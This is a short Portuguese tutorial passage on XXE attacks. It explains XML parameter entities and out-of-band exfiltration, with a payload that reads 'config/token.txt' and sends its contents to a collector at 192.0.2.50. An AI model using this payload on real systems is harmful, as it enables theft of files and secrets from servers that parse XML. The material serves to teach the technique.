Entidades de parâmetro e fora de banda
Entidades com % vivem dentro do DTD e permitem vazar dados por uma URL, mesmo sem ver a resposta.
Além das entidades normais (&nome;), o DTD tem as entidades de parâmetro, escritas com %: <!ENTITY % nome "..."> e referenciadas com %nome;. Elas só valem dentro do próprio DTD, e é isso que as torna úteis quando o parser não devolve nada na resposta.
Às vezes o servidor lê o XML mas não mostra nenhum campo de volta (só responde "aceito"). Você não consegue ver o arquivo lido. A saída é o fora de banda (out of band): fazer o parser mandar os dados para um servidor seu. Uma entidade de parâmetro lê o arquivo para dentro de um valor, e outra monta uma URL que carrega esse valor e aponta para o seu coletor:
<!ENTITY % file SYSTEM "config/token.txt">
<!ENTITY exfil SYSTEM "http://192.0.2.50/log?secret=%file;">
Quando o parser resolve exfil, ele busca http://192.0.2.50/log?secret=<conteudo do arquivo>, e o conteúdo chega no registro do seu coletor. Você nunca viu a resposta, mas o dado saiu. No mundo real esse arranjo costuma ficar num DTD externo, porque muitos parsers não expandem % dentro do subconjunto interno; o mecanismo é o mesmo.